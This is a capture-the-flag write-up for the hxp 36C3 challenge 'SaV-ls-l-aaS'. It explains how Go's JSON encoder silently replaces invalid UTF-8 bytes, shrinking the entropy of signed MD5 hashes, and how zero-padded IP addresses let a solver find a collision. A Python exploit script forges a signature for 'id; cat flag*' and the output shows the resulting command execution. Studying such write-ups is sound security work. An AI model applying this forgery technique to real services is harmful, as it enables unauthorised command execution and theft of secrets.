hxp 36C3 CTF: SaV-ls-l-aaS

crypto/web (588 points, 8 solves)

This challenge consisted of a hardsoftware security module providing RSA signatures in PHP, together with a simple web frontend written in Go that executes shell commands if they are correctly signed (together with the client’s IP address). However, (un)fortunately, the server would only sign the command ls -l, so one had to forge a signature.

The solution to this challenge lies in the communication interface between the PHP “HSM” part and the Go frontend: Apparently Go’s json encoder thinks it’s okay to simply (and silently!) throw away loads of information while JSON-encoding strings that are invalid UTF8, replacing invalid sequences of bytes by the Unicode replacement character U+fffd �.

Fun fact: We actually discovered this bug dangerous default behaviour while solving the “lottery” challenge in p4’s CONFidence CTF Quals 2019, where this happened (seemingly unintentionally) with the MD5 hash value in the lottery results.

The basic consequence is that the hash value being signed by the PHP “HSM” contains much less information than an actual MD5 hash: Most of the bytes > 0x7f do not easily form a valid UTF8 sequence together with their neighbours, so as a quick ‘n’ very dirty estimate we can guess that the mangled hash value contains at most half the amount of information of an actual MD5 hash. (Experiments suggest that the entropy of the encoded hash is in fact something like 56 bits.) However, brute-forcing ≈ 56 bits is still a little bit too much to find a second preimage for the whitelisted ls -l message; clearly, going for collision techniques to halve the complexity again is the way to go, but it looks as if there was no choice in the benign target message: It must consist of our own IP address concatenated with the string ls -l. Does one need to acquire a botnet with gazillions of IP addresses to find a collision involving a ls -l signature?

Luckily, the answer is no: There is another subtlety in the IP checking part of the Go frontend, namely that the IP is parsed before comparing it to the client IP. Playing around with Go’s IP parser should quickly reveal quite a bit of freedom here: For example, prefixing the IP digits with any amount of zeroes does not change the represented address; this means 0000127.00.000.00000001 is the same IPv4 address as Perhaps counter-intuitively, the number of representations of a given IP grows quite quickly: Padding each digit with up to 256 zeroes already leads to 2^32 distinct combinations. Thus this non-uniqueness of IP representations yields enough flexibility to find a collision between an ls -l message and a cat flag message. We used a somewhat optimized collision finder written in C++ for this step.

The rest of the solution is simply interacting with the API exposed by the Go frontend:

#!/usr/bin/env python3
import sys, requests, subprocess

benign_cmd = 'ls -l'
exploit_cmd = 'id; cat flag*'

ip, port = sys.argv[1], sys.argv[2]
url = 'http://{}:{}'.format(ip, port)

my_ip = requests.get(url + '/ip').text
print('[+] IP: ' + my_ip)

o = subprocess.check_output(['./gewalt', my_ip, benign_cmd, exploit_cmd])
print('[+] gewalt:' + o.decode())

payload = {}
for l in o.decode().splitlines():
	ip, cmd = l.split('|')
	payload['benign' if cmd == benign_cmd else 'pwn'] = ip, cmd


sig  = requests.post(url + '/sign', data={'ip': payload['benign'][0], 'cmd': payload['benign'][1]}).text
print('[+] sig: ' + sig)

r = requests.post(url + '/exec', data={'signature': sig[:172] + payload['pwn'][0]  + '|' + payload['pwn'][1]})

Running this yields the flag:

[+] IP:
fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd
hash count:  252438138 (2^27.91)
kapot count: 5222719 (2^22.32)
table sizes: 13250 13133
[+] gewalt:0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000172.0000000000000017.000000000000000000000000000.0000000000001|ls -l
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000172.000000000000000000000000000000000000000000000000000000000000000017.0.0001|id; cat flag*

{'benign': ('0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000172.0000000000000017.000000000000000000000000000.0000000000001', 'ls -l'), 'pwn': ('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000172.000000000000000000000000000000000000000000000000000000000000000017.0.0001', 'id; cat flag*')}
[+] sig: ZQ1DqS0SHuGrDe0UvBJ5iXA7ZXP+HjpptVabyd+zsNfV5AY0D4UyuIAIV2Wuaady9Eu2Y3bcZ0hn1r7+Afgo+qAMW7EYnSmcwh+7cENmsNhdrO3iHtbR8RLUg5iBtlmv7poL4dNeWQQTj4eWxDXCi5DiUziwNtxSM9PcrGtFJjk=0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000172.0000000000000017.000000000000000000000000000.0000000000001|ls -l
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

(It is interesting to note that the collision the attack typically finds simply consists of two distinct preimages for an all-0xfffd hash…)